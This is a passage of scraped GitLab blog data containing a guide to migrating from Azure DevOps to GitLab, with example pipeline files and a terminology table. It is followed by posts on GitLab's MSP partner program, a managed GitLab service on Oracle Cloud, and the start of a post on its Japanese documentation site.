(SAST), source code analysis (SCA), dynamic application security testing (DAST), infrastructure-as-code scanning (IaC), container scanning, and API scanning.\n\n- [AI capabilities](https://about.gitlab.com/gitlab-duo-agent-platform/) across the full software delivery lifecycle include advanced agent orchestration and customizable flows to support how your organizational teams work.\n\n\nGitLab's open-source, open-core approach, flexible deployment options such as single-tenant dedicated and self-managed, and truly unified platform eliminate integration complexity and security gaps. \n\n\nFor teams facing mounting pressure to accelerate delivery while strengthening security posture and maintaining regulatory compliance, GitLab represents not just a migration but a platform evolution.\n\n\nMigrating from Azure DevOps to GitLab can seem like a daunting task, but with the right approach and tools, it can be a smooth and efficient process. This guide will walk you through the steps needed to successfully migrate your projects, repositories, and pipelines from Azure DevOps to GitLab.\n\n\n## Overview\n\nGitLab provides both [Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/) (maintained by [GitLab Professional Services](https://about.gitlab.com/professional-services/) organization) and [a built-in Git repository import](https://docs.gitlab.com/user/project/import/repo_by_url/) for migrating projects from Azure DevOps (ADO). These options support repository-by-repository or bulk migration and preserve git commit history, branches, and tags. With Congregate and professional services tools, we support additional assets such as wikis, work items, CI/CD variables, container images, packages, pipelines, and more (see this [feature matrix](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)). Use this guide to plan and execute your migration and complete post-migration follow-up tasks.\n\n\nEnterprises migrating from ADO to GitLab commonly follow a multi-phase approach:\n\n\n- Migrate repositories from ADO to GitLab using Congregate or GitLab's built-in repository migration.\n\n- Migrate pipelines from Azure Pipelines to GitLab CI/CD.\n\n- Migrate remaining assets such as boards, work items, and artifacts to GitLab Issues, Epics, and the Package and Container Registries.\n\n\nHigh-level migration phases:\n\n\n```mermaid\ngraph LR\n    subgraph Prerequisites\n        direction TB\n        A[\"Set up identity provider (IdP) and\u003Cbr/>provision users\"]\n        A --> B[\"Set up runners and\u003Cbr/>third-party integrations\"]\n        B --> I[\"Users enablement and\u003Cbr/>change management\"]\n    end\n    \n    subgraph MigrationPhase[\"Migration phase\"]\n        direction TB\n        C[\"Migrate source code\"]\n        C --> D[\"Preserve contributions and\u003Cbr/> format history\"]\n        D --> E[\"Migrate work items and\u003Cbr/>map to \u003Ca href=\"https://docs.gitlab.com/topics/plan_and_track/\">GitLab Plan \u003Cbr/>and track work\"]\n    end\n    \n    subgraph PostMigration[\"Post-migration steps\"]\n        direction TB\n        F[\"Create or translate \u003Cbr/>ADO pipelines to GitLab CI\"]\n        F --> G[\"Migrate other assets\u003Cbr/>packages and container images\"]\n        G --> H[\"Introduce \u003Ca href=\"https://docs.gitlab.com/user/application_security/secure_your_application/\">security\u003C/a> and\u003Cbr/>SDLC improvements\"]\n    end\n    \n    Prerequisites --> MigrationPhase\n    MigrationPhase --> PostMigration\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style I fill:#FC6D26\n    style C fill:#8C929D\n    style D fill:#8C929D\n    style E fill:#8C929D\n    style F fill:#FFA500\n    style G fill:#FFA500\n    style H fill:#FFA500\n```\n\n\n## Planning your migration\n\n\n**To plan your migration, ask these questions:**\n\n\n- How soon do we need to complete the migration?\n\n- Do we understand what will be migrated?\n\n- Who will run the migration?\n\n- What organizational structure do we want in GitLab?\n\n- Are there any constraints, limitations, or pitfalls that need to be taken into account?\n\n\nDetermine your timeline, as it will largely dictate your migration approach. Identify champions or groups familiar with both ADO and GitLab platforms (such as early adopters) to help drive adoption and provide guidance.\n\n\n**Inventory what you need to migrate:**\n\n\n- The number of repositories, pull requests, and contributors\n\n- The number and complexity of work items and pipelines\n\n- Repository sizes and dependency relationships\n\n- Critical integrations and runner requirements (agent pools with specific capabilities)\n\n\nUse GitLab Professional Services's [Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops) tool to produce a complete inventory of your entire Azure DevOps organization, including repositories, PR counts, contributor lists, number of pipelines, work items, CI/CD variables and more. If you're working with the GitLab Professional Services team, share this report with your engagement manager or technical architect to help plan the migration.\n\n\nMigration timing is primarily driven by pull request count, repository size, and amount of contributions (e.g. comments in PR, work items, etc). For example, 1,000 small repositories with few PRs and limited contributors can migrate much faster than a smaller set of repositories containing tens of thousands of PRs and thousands of contributors. Use your inventory data to estimate effort and plan test runs before proceeding with production migrations.\n\n\nCompare inventory against your desired timeline and decide whether to migrate all repositories at once or in batches. If teams cannot migrate simultaneously, batch and stagger migrations to align with team schedules. For example, in Professional Services engagements, we organize migrations into waves of 200-300 projects to manage complexity and respect API rate limits, both in [GitLab](https://docs.gitlab.com/security/rate_limits/) and [ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops).\n\n\nGitLab's built-in [repository importer](https://docs.gitlab.com/user/project/import/repo_by_url/) migrates Git repositories (commits, branches, and tags) one-by-one. Congregate is designed to preserve pull requests (known in GitLab as merge requests), comments, and related metadata where possible; the simple built-in repository import focuses only on the Git data (history, branches, and tags).\n\n\n**Items that typically require separate migration or manual recreation:**\n\n\n- Azure Pipelines - create equivalent GitLab CI/CD pipelines (consult with [CI/CD YAML](https://docs.gitlab.com/ci/yaml/) and/or with [CI/CD components](https://docs.gitlab.com/ci/components/)). Alternatively, consider using AI-based pipeline conversion available in Congregate.\n\n- Work items and boards - map to GitLab Issues, Epics, and Issue Boards.\n\n- Artifacts, container images (ACR) - migrate to GitLab Package Registry or Container Registry.\n\n- Service hooks and external integrations - recreate in GitLab.\n\n- [Permissions models](https://docs.gitlab.com/user/permissions/) differ between ADO and GitLab; review and plan permissions mapping rather than assuming exact preservation.\n\n\nReview what each tool (Congregate vs. built-in import) will migrate and choose the one that fits your needs. Make a list of any data or integrations that must be migrated or recreated manually.\n\n\n**Who will run the migration?**\n\n\nMigrations are typically run by a GitLab group owner or instance administrator, or by a designated migrator who has been granted the necessary permissions on the destination group/project. Congregate and the GitLab import APIs require valid authentication tokens for both Azure DevOps and GitLab.\n\n\n- Decide whether a group owner/admin will perform the migrations or whether you will grant a specific team/person delegated access.\n\n- Ensure the migrator has correctly configured personal access tokens (Azure DevOps and GitLab) with the scopes required by your chosen migration tool (for example, api/read_repository scopes and any tool-specific requirements). \n\n- Test tokens and permissions with a small pilot migration.\n\n**Note:** Congregate leverages file-based import functionality for ADO migrations and requires instance administrator permissions to run ([see our documentation](https://docs.gitlab.com/user/project/settings/import_export/#migrate-projects-by-uploading-an-export-file)). If you are migrating to GitLab.com, consider engaging Professional Services. For more information, see the [Professional Services Full Catalog](https://about.gitlab.com/professional-services/catalog/). Non-admin account cannot preserve contribution attribution!\n\n\n**What organizational structure do we want in GitLab?**\n\nWhile it's possible to map ADO structure directly to GitLab structure, it's recommended to rationalize and simplify the structure during migration. Consider how teams will work in GitLab and design the structure to facilitate collaboration and access management. Here is a way to think about mapping ADO structure to GitLab structure:\n\n\n```mermaid\ngraph TD\n    subgraph GitLab\n        direction TB\n        A[\"Top-level Group\"]\n        B[\"Subgroup (optional)\"]\n        C[\"Projects\"]\n        A --> B\n        A --> C\n        B --> C\n    end\n\n    subgraph AzureDevOps[\"Azure DevOps\"]\n        direction TB\n        F[\"Organizations\"]\n        G[\"Projects\"]\n        H[\"Repositories\"]\n        F --> G\n        G --> H\n    end\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style C fill:#FC6D26\n    style F fill:#8C929D\n    style G fill:#8C929D\n    style H fill:#8C929D\n```\n\nRecommended approach:\n\n\n- Map each ADO organization to a GitLab group (or a small set of groups), not to many small groups. Avoid creating a GitLab group for every ADO team project. Use migration as an opportunity to rationalize your GitLab structure.\n\n- Use subgroups and project-level permissions to group related repositories.\n\n- Manage access to sets of projects by using GitLab groups and group membership (groups and subgroups) rather than one group per team project.\n\n- Review GitLab [permissions](https://docs.gitlab.com/ee/user/permissions.html) and consider [SAML Group Links](https://docs.gitlab.com/user/group/saml_sso/group_sync/) to implement an enterprise RBAC model for your GitLab instance (or a GitLab.com namespace).\n\n\n**ADO Boards and work items: State of migration**\n\n\nIt's important to understand how work items migrate from ADO into GitLab Plan (issues, epics, and boards).\n\n\n- ADO Boards and work items map to GitLab Issues, Epics, and Issue Boards. Plan how your workflows and board configurations will translate.\n\n- ADO Epics and Features become GitLab Epics.\n\n- Other work item types (e.g., user stories, tasks, bugs) become project-scoped issues.\n\n- Most standard fields are preserved; selected custom fields can be migrated when supported.\n\n- Parent-child relationships are retained so Epics reference all related issues.\n\n- Links to pull requests are converted to merge request links to maintain development traceability.\n\n\nExample: Migration of an individual work item to a GitLab Issue, including field accuracy and relationships:\n\n\n![Example: Migration of an individual work item to a GitLab Issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\n\nBatching guidance:\n\n\n- If you need to run migrations in batches, use your new group/subgroup structure to define batches (for example, by ADO organization or by product area).\n\n- Use inventory reports to drive batch selection and test each batch with a pilot migration before scaling.\n\n\n**Pipelines migration**\n\n\nCongregate [recently introduced](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298) AI-powered conversion for multi-stage YAML pipelines from Azure DevOps to GitLab CI/CD. This automated conversion works best for simple, single-file pipelines and is designed to provide a working starting point rather than a production-ready `.gitlab-ci.yml` file. The tool generates a functionally equivalent GitLab pipeline that you can then refine and optimize for your specific needs.\n\n\n- Converts Azure Pipelines YAML to `.gitlab-ci.yml` format automatically.\n\n- Best suited for straightforward, single-file pipeline configurations.\n\n- Provides a boilerplate to accelerate migration, not a final production artifact.\n\n- Requires review and adjustment for complex scenarios, custom tasks, or enterprise requirements.\n\n- Does not support Azure DevOps classic release pipelines — [convert these to multi-stage YAML](https://learn.microsoft.com/en-us/azure/devops/pipelines/release/from-classic-pipelines?view=azure-devops) first.\n\n\nRepository owners should review the [GitLab CI/CD documentation](https://docs.gitlab.com/ci/) to further optimize and enhance their pipelines after the initial conversion.\n\n\nExample of converted pipelines:\n\n\n```yml \n\n# azure-pipelines.yml\n\ntrigger:\n  - main\n\nvariables:\n  imageName: myapp\n\nstages:\n  - stage: Build\n    jobs:\n      - job: Build\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Build Docker image\n            inputs:\n              command: build\n              repository: $(imageName)\n              Dockerfile: '**/Dockerfile'\n              tags: |\n                $(Build.BuildId)\n\n  - stage: Test\n    jobs:\n      - job: Test\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          # Example: run tests inside the container\n          - script: |\n              docker run --rm $(imageName):$(Build.BuildId) npm test\n            displayName: Run tests\n\n  - stage: Push\n    jobs:\n      - job: Push\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Login to ACR\n            inputs:\n              command: login\n              containerRegistry: '\u003Cyour-acr-service-connection>'\n\n          - task: Docker@2\n            displayName: Push image to ACR\n            inputs:\n              command: push\n              repository: $(imageName)\n              tags: |\n                $(Build.BuildId)\n\n```\n\n```yaml\n\n# .gitlab-ci.yml\n\nvariables:\n  imageName: myapp\n\nstages:\n  - build\n  - test\n  - push\n\nbuild:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $imageName:$CI_PIPELINE_ID -f $(find . -name Dockerfile) .\n  only:\n    - main\n\ntest:\n  stage: test\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker run --rm $imageName:$CI_PIPELINE_ID npm test\n  only:\n    - main\n\npush:\n  stage: push\n  image: docker:latest\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker tag $imageName:$CI_PIPELINE_ID $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n    - docker push $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n  only:\n    - main\n\n```\n\n**Final checklist:**\n\n\n- Decide timeline and batch strategy.\n\n- Produce a full inventory of repositories, PRs, and contributors.\n\n- Choose Congregate or the built-in import based on scope (PRs and metadata vs. Git data only).\n\n- Decide who will run migrations and ensure tokens/permissions are configured.\n\n- Identify assets that must be migrated separately (pipelines, work items, artifacts, and hooks) and plan those efforts.\n\n- Run pilot migrations, validate results, then scale according to your plan.\n\n\n## Running your migrations\n\n\nAfter planning, execute migrations in stages, starting with trial runs. Trial migrations help surface org-specific issues early and let you measure duration, validate outcomes, and fine-tune your approach before production.\n\n\nWhat trial migrations validate:\n\n\n- Whether a given repository and related assets migrate successfully (history, branches, tags; plus MRs/comments if using Congregate)\n\n- Whether the destination is usable immediately (permissions, runners, CI/CD variables, integrations)\n\n- How long each batch takes, to set schedules and stakeholder expectations\n\n\nDowntime guidance:\n\n\n- GitLab's built-in Git import and Congregate do not inherently require downtime.\n\n- For production waves, freeze changes in ADO (branch protections or read-only) to avoid missed commits, PR updates, or work items created mid-migration.\n\n- Trial runs do not require freezes and can be run anytime.\n\n\nBatching guidance:\n\n\n- Run trial batches back-to-back to shorten elapsed time; let teams validate results asynchronously.\n\n- Use your planned group/subgroup structure to define batches and respect API rate limits.\n\n\nRecommended steps:\n\n\n1. Create a test destination in GitLab for trials:\n\n\n  - GitLab.com: create a dedicated group/namespace (for example, my-org-sandbox)\n\n  - Self-managed: create a top-level group or a separate test instance if needed\n\n\n2. Prepare authentication:\n\n\n  - Azure DevOps PAT with required scopes.\n\n  - GitLab Personal Access Token with api and read_repository (plus admin access for file-based imports used by Congregate).\n\n\n3. Run trial migrations:\n\n\n  - Repos only: use GitLab's built-in import (Repo by URL)\n\n  - Repos + PRs/MRs and additional assets: use Congregate\n\n\n4. Post-trial follow-up:\n\n\n  - Verify repo history, branches, tags; merge requests (if migrated), issues/epics (if migrated), labels, and relationships.\n\n  - Check permissions/roles, protected branches, required approvals, runners/tags, variables/secrets, integrations/webhooks.\n\n  - Validate pipelines (`.gitlab-ci.yml`) or converted pipelines where applicable.\n\n\n5. Ask users to validate functionality and data fidelity.\n\n6. Resolve issues uncovered during trials and update your runbooks.\n\n7. Network and security:\n\n\n  - If your destination uses IP allow lists, add the IPs of your migration host and any required runners/integrations so imports can succeed.\n\n\n8. Run production migrations in waves:\n\n\n  - Enforce change freezes in ADO during each wave.\n\n  - Monitor progress and logs; retry or adjust batch sizes if you hit rate limits.\n\n\n9. Optional: remove the sandbox group or archive it after you finish.\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n\n## Terminology reference for GitLab and Azure DevOps\n\n| GitLab                                                           | Azure DevOps                                 | Similarities & Key Differences                                                                                                                                          |\n| ---------------------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Group                                                            | Organization                                 | Top-level namespace, membership, policies. ADO org contains Projects; GitLab Group contains Subgroups and Projects.                                                   |\n| Group or Subgroup                                                | Project                                      | Logical container, permissions boundary. ADO Project holds many repos; GitLab Groups/Subgroups organize many Projects.                                                |\n| Project (includes a Git repo)                                    | Repository (inside a Project)                | Git history, branches, tags. In GitLab, a \"Project\" is the repo plus issues, CI/CD, wiki, etc. One repo per Project.                                                  |\n| Merge Request (MR)                                               | Pull Request (PR)                            | Code review, discussions, approvals. MR rules include approvals, required pipelines, code owners.                                                                     |\n| Protected Branches, MR Approval Rules, Status Checks             | Branch Policies                              | Enforce reviews and checks. GitLab combines protections + approval rules + required status checks.                                                                    |\n| GitLab CI/CD                                                     | Azure Pipelines                              | YAML pipelines, stages/jobs, logs. ADO also has classic UI pipelines; GitLab centers on .gitlab-ci.yml.                                                               |\n| .gitlab-ci.yml                                                   | azure-pipelines.yml                          | Defines stages/jobs/triggers. Syntax/features differ; map jobs, variables, artifacts, and triggers.                                                                   |\n| Runners (shared/specific)                                        | Agents / Agent Pools                         | Execute jobs on machines/containers. Target via demands (ADO) vs tags (GitLab). Registration/scoping differs.                                                         |\n| CI/CD Variables (project/group/instance), Protected/Masked       | Pipeline Variables, Variable Groups, Library | Pass config/secrets to jobs. GitLab supports group inheritance and masking/protection flags.                                                                          |\n| Integrations, CI/CD Variables, Deploy Keys                       | Service Connections                          | External auth to services/clouds. Map to integrations or variables; cloud-specific helpers available.                                                                 |\n| Environments & Deployments (protected envs)                      | Environments (with approvals)                | Track deploy targets/history. Approvals via protected envs and manual jobs in GitLab.                                                                                 |\n| Releases (tag + notes)                                           | Releases (classic or pipelines)              | Versioned notes/artifacts. GitLab Release ties to tags; deployments tracked separately.                                                                               |\n| Job Artifacts                                                    | Pipeline Artifacts                           | Persist job outputs. Retention/expiry configured per job or project.                                                                                                  |\n| Package Registry (NuGet/npm/Maven/PyPI/Composer, etc.)           | Azure Artifacts (NuGet/npm/Maven, etc.)      | Package hosting. Auth/namespace differ; migrate per package type.                                                                                                     |\n| GitLab Container Registry                                        | Azure Container Registry (ACR) or others     | OCI images. GitLab provides per-project/group registries.                                                                                                             |\n| Issue Boards                                                     | Boards                                       | Visualize work by columns. GitLab boards are label-driven; multiple boards per project/group.                                                                         |\n| Issues (types/labels), Epics                                     | Work Items (User Story/Bug/Task)             | Track units of work. Map ADO types/fields to labels/custom fields; epics at group level.                                                                              |\n| Epics, Parent/Child Issues                                       | Epics/Features                               | Hierarchy of work. Schema differs; use epics + issue relationships.                                                                                                   |\n| Milestones and Iterations                                        | Iteration Paths                              | Time-boxing. GitLab Iterations (group feature) or Milestones per project/group.                                                                                       |\n| Labels (scoped labels)                                           | Area Paths                                   | Categorization/ownership. Replace hierarchical areas with scoped labels.                                                                                              |\n| Project/Group Wiki                                               | Project Wiki                                 | Markdown wiki. Backed by repos in both; layout/auth differ slightly.                                                                                                  |\n| Test reports via CI, Requirements/Test Management, integrations  | Test Plans/Cases/Runs                        | QA evidence/traceability. No 1:1 with ADO Test Plans; often use CI reports + issues/requirements.                                                                     |\n| Roles (Owner/Maintainer/Developer/Reporter/Guest) + custom roles | Access levels + granular permissions         | Control read/write/admin. Models differ; leverage group inheritance and protected resources.                                                                          |\n| Webhooks                                                         | Service Hooks                                | Event-driven integrations. Event names/payloads differ; reconfigure endpoints.                                                                                        |\n| Advanced Search                                                  | Code Search                                  | Full-text repo search. Self-managed GitLab may need Elasticsearch/OpenSearch for advanced features.                                                                   |\n","2025-12-03","2026-01-16","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png",[1029,1030],"Evgeny Rudinsky","Michael Leopard","Guide: Migrate from Azure DevOps to GitLab","Learn how to carry out the full migration from Azure DevOps to GitLab using GitLab Professional Services migration tools — from planning and execution to post-migration follow-up tasks.",{"featured":13,"template":810,"slug":1034},"migration-from-azure-devops-to-gitlab",{"category":749,"slug":751,"posts":1036},[1037,1048,1062],{"content":1038,"config":1046},{"title":1039,"description":1040,"authors":1041,"heroImage":1043,"date":874,"body":1044,"category":751,"tags":1045},"Introducing the GitLab Managed Service Provider (MSP) Partner Program","Build a profitable, services-led DevSecOps practice - backed by GitLab.",[1042],"Karishma Kumar","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","*This blog is written for managed service providers (MSPs) looking to build a GitLab practice. If you’re a developer or engineering leader, this is the program that can empower the partners who help teams like yours scale and move faster.*\n\nMany organizations know they need a modern DevSecOps platform. What they often don't have is the bandwidth to deploy, manage, and continuously optimize one while shipping software at the pace the business demands. That's a real opportunity for MSPs, and now GitLab has a defined program to support them.\n\nWe're excited to introduce the **GitLab MSP Partner Program**, a new global program that enables qualified MSPs to deliver GitLab as a fully managed service to their customers.\n\n## Why this matters for partners and customers\n\nFor the first time, GitLab has a formally defined, globally available program built specifically for MSPs. This means clear requirements, structured enablement, dedicated support, and real financial benefits, so partners can confidently invest in building a GitLab managed services practice.\n\nThe timing is right. Organizations are accelerating their DevSecOps journeys, but many are navigating complex migrations, sprawling toolchains, and growing security requirements on top of their core work of building and shipping software.\n\nGitLab MSP partners handle the operational side of running the platform, including deployment, migration, administration, and ongoing support, so development teams can stay focused on what they do best.\n\n## What MSP partners get\n\n**Financial benefits**: MSP partners earn GitLab partner margins plus an additional MSP premium on all transactions, new business, and renewals. You also retain 100% of the service fees you charge customers for deployment, migration, training, enablement, and strategic consulting. That's multiple recurring revenue streams built around a single platform.\n\n**Enablement and education**: Partners have access to quarterly technical bootcamps covering version updates, new features, best practices, ongoing roadmap updates, and peer sharing. Recommended cloud certifications (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) round out the technical foundation.\n\n**Go-to-market support**: MSPs receive a GitLab Certified MSP Partner badge, co-brandable assets, eligibility for joint customer case studies, a Partner Locator listing, and access to Marketing Development Funds (MDF) for qualified demand generation activities.\n\n## What customers can expect\n\nCustomers working with a GitLab MSP partner get a structured, managed DevSecOps experience, documented and repeatable implementation methodologies, regular business reviews, and support with clearly defined response and escalation paths.\n\nThe result: Development teams can stay focused on building great software while their MSP partner focuses on running and optimizing the platform.\n\n## A new opportunity around AI\n\nOrganizations are increasingly looking to safely introduce AI into their software development workflows, and even experienced teams can benefit from a structured approach to rolling it out at scale. GitLab MSP partners are well-positioned to guide customers through GitLab Duo Agent Platform as part of a broader managed services offering.\n\nBy combining GitLab's DevSecOps platform with MSP-delivered operational expertise, customers can experiment with AI-assisted workflows in a governed environment, meet data residency and compliance requirements, and scale AI adoption across teams without overburdening internal resources.\n\n## Is this right for your business?\n\nThe GitLab MSP Partner Program is a strong fit if you:\n\n* Already deliver managed services in cloud, infrastructure, or application operations  \n* Want to add high-value DevSecOps to your portfolio  \n* Have or want to build technical talent interested in modern development platforms  \n* Prefer long-term customer relationships over one-time transactions\n\nIf you're already a GitLab Select and Professional Services Partner, the MSP program gives you a structured way to turn your existing expertise into a repeatable managed offering.\n\n## Getting started\n\nThe program launches with the **Certified MSP Partner** designation. There's no minimum ARR or customer count required to join. Here's how the path looks:\n\n1. **Confirm fit** - Verify you meet the business and technical requirements outlined in the [handbook page](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program).  \n2. **Apply via the GitLab Partner Portal** - Submit your application with business and technical documentation.  \n3. **Complete 90-day onboarding** - A structured onboarding journey covers contracts, technical enablement, sales training, and your first customer engagement.  \n4. **Launch your managed offering** - Package your services, set your SLAs, and begin engaging customers.\n\nCompleted applications are reviewed within approximately three business days.\n\n> Interested in building a GitLab managed services practice? New partners can apply [to become a GitLab Partner](https://about.gitlab.com/partners/). Existing partners can reach out to your GitLab representative to learn more about the program and tell us about the solutions you're currently offering customers through your MSP practice!\n",[537,751,257],{"featured":679,"template":810,"slug":1047},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"content":1049,"config":1060},{"title":1050,"authors":1051,"date":1055,"body":1056,"category":751,"tags":1057,"description":1058,"heroImage":1059},"DevSecOps-as-a-Service on Oracle Cloud Infrastructure by Data Intensity",[1052,1053,1042,1054],"Biju Thomas","Matt Genelin","Ryan Palmaro","2026-02-10","At GitLab, we know that many organizations choose GitLab Self-Managed for the control, customization, and security it provides. However, managing underlying infrastructure can be a significant operational challenge — especially for teams who want to focus on delivering software, not maintaining platforms.\n\nThat's why we're excited to work with [Oracle Cloud Infrastructure (OCI)](https://www.oracle.com/cloud/) and [Data Intensity](https://www.dataintensity.com/services/security-services/devsecops/), a trusted Oracle managed services provider, to offer a new managed service option, DevSecOps-as-a-Service, that brings together the best of both worlds: the control of GitLab Self-Managed with the operational ease of a fully managed service.\n\n## Why GitLab Self-Managed?\n\nGitLab Self-Managed gives you complete ownership of your DevSecOps platform. You control where your data lives, how your instance is configured, and can customize it to meet specific compliance, security, or operational requirements. This level of control is essential for organizations with strict regulatory requirements, data residency needs, or specific integration must-haves.\n\nThe challenge for some customers running on GitLab Self-Managed means managing servers, handling upgrades, ensuring high availability, and implementing disaster recovery. All require specialized expertise and dedicated resources.\n\n## A managed path to GitLab Self-Managed\n\nData Intensity's DevSecOps-as-a-Service on OCI removes these operational burdens while preserving the control benefits of GitLab Self-Managed. Instead of building and maintaining infrastructure yourself, you get a standalone GitLab instance managed by Data Intensity's team of experts, running on OCI's high-performance cloud infrastructure.\n\nHere's what's included:\n\n* Standalone GitLab instance on OCI infrastructure\n* 24x7 monitoring, alarming, and support\n* Quarterly patching scheduled during your chosen maintenance windows\n* Automated backups and disaster recovery protection\n\n## Scaling with your organization\n\nData Intensity’s managed service is designed to grow with your team, offering tiered architectures to match your specific user capacity and recovery requirements:\n\n| **Feature**        | **Standard**    | **Premier**     | **Premier +**   |\n|--------------------|-----------------|-----------------|-----------------|\n| **User Capacity**  | Up to 1,000     | Up to 2,000     | Up to 3,000     |\n| **Performance**    | 20 requests/sec | 40 requests/sec | 60 requests/sec |\n| **Availability**   | 99.9%           | 99.95%          | 99.99%          |\n| **Recovery (RTO)** | 48 hours        | 8 hours         | 4 hours         |\n\nFor more information, visit Data Intensity’s website to learn more about [DevSecOps-as-a-Service](https://www.dataintensity.com/services/security-services/devsecops/).\n\n## Why OCI for GitLab?\nOracle Cloud Infrastructure (OCI) provides a robust foundation for running GitLab Self-Managed, offering a secure, high-performance environment at a significantly lower cost than other hyperscalers. Organizations migrating workloads to OCI commonly realize infrastructure cost reductions of 40-50%, making it easier to fund and scale deployments.\n\nOCI supports a wide range of deployment models, from public cloud regions to specialized environments such as Government and EU Sovereign Clouds, as well as dedicated infrastructure deployed behind your firewall. These options come with consistent pricing, tooling, and operational experience, enabling teams to standardize GitLab deployments across regulated, hybrid, and global environments.\n\nThe combination of GitLab's comprehensive DevSecOps platform, OCI's high-performance infrastructure, and Data Intensity's managed services expertise provides a turnkey solution that lets your teams focus on what matters: building great software.\n\n## Is this right for your organization?\nConsider Data Intensity's DevSecOps-as-a-Service if you:\n* Want GitLab Self-Managed but need to minimize operational overhead\n* Require specific compliance, security, or data residency requirements\n* Need guaranteed SLAs and professional disaster recovery capabilities\n* Prefer predictable costs and expert management over building in-house infrastructure expertise\n* Are already using or planning to use OCI for your cloud infrastructure\n* Prioritize flexibility and control\n* Want a dedicated instance that’s managed externally but offers the control of a self-managed environment\n\n## Getting started\nOrganizations interested in running GitLab Self-Managed on OCI through Data Intensity's DevSecOps-as-a-Service can contact Data Intensity via the [Data Intensity website](https://www.dataintensity.com/services/security-services/devsecops/) to discuss specific requirements and begin deployment planning.\n\nModernizing your DevSecOps doesn't have to be complex. Data Intensity provides optional migration of code repositories and customizations to ensure a smooth transition to OCI.\n\nAs GitLab continues expanding our partner ecosystem, solutions like this demonstrate our commitment to giving organizations choice in how they deploy and manage GitLab — whether that's SaaS, self-managed, or managed services through trusted partners.",[257,505],"Run GitLab Self-Managed with minimal overhead. Data Intensity delivers DevSecOps-as-a-Service on OCI with expert management and disaster recovery.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png",{"featured":13,"template":810,"slug":1061},"devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity",{"content":1063,"config":1072},{"title":1064,"description":1065,"authors":1066,"heroImage":1068,"date":1069,"body":1070,"category":751,"tags":1071},"How we built and automated our new Japanese GitLab Docs site","Learn about our AI-assisted localization infrastructure – with docs-as-code principles – that expands access to critical product documentation.",[1067],"Daniel Sullivan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1758812952/yxhgljkwljld0lyizmaz.png","2025-12-11","Today we are thrilled to announce the release of GitLab product documentation in Japanese at [docs.gitlab.com/ja-jp](http://docs.gitlab.com/ja-jp). This major step marks our first move toward making GitLab's extensive documentation accessible to our users worldwide.\n\n![Japanese GitLab Docs site](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765299500/hya4bog8gllk1kimduac.png)\n\n## The unique challenge of the Japanese market\n\nJapan represents one of the world's largest economies and is a critical market for enterprise software. However, it also presents a distinctive challenge: despite its technological sophistication and massive developer community, English proficiency remains a significant barrier for many users.\n\nJapan's developers and DevSecOps teams often face challenges with English-only documentation, [as indicated by the country's ranking on the EF English Proficiency Index](https://www.ef.edu/epi/regions/asia/japan/). This language barrier can significantly impact the speed of learning and ultimately influence the decision to evaluate, adopt, and champion a platform within Japanese organizations.\n\nWe've heard directly from our Japanese customers and partners that English-only documentation wasn't merely an inconvenience, it was a barrier preventing them from getting the most out of GitLab. The impact rippled through every stage of the user journey: From initial evaluation where teams struggled to assess GitLab's capabilities, to daily operations where finding solutions took longer than necessary, to staying current with new features and best practices.\n\nIn a market as competitive and mature as in Japan, this language barrier directly affected GitLab's market penetration. When Japanese companies evaluate enterprise software, the availability of comprehensive Japanese documentation signals long-term commitment to the market. It demonstrates that a provider isn't just making a token effort, but is genuinely invested in supporting Japanese users throughout their entire journey.\n\nTo address this challenge and demonstrate our commitment to the Japanese market, we built localization infrastructure from the ground up, integrating with how we create and maintain documentation at GitLab.\n\n## Localization built on docs-as-code principles\n\nGitLab's documentation is treated like any other code contribution, residing alongside product code in GitLab projects and managed via merge requests. This system ensures documentation is version-controlled, collaboratively reviewed, and automatically tested through CI/CD pipelines, which includes checks for issues with language, formatting, and links. Both the English and Japanese documentation sites are dynamically generated using the Hugo static site generator and deployed after merging changes, guaranteeing users always access the latest information.\n\nThe documentation is extensive and comprehensive, drawing content from various source projects, including GitLab, GitLab Runner, Omnibus GitLab, GitLab Charts, GitLab Operator, and GitLab CLI (glab) ([see architecture for 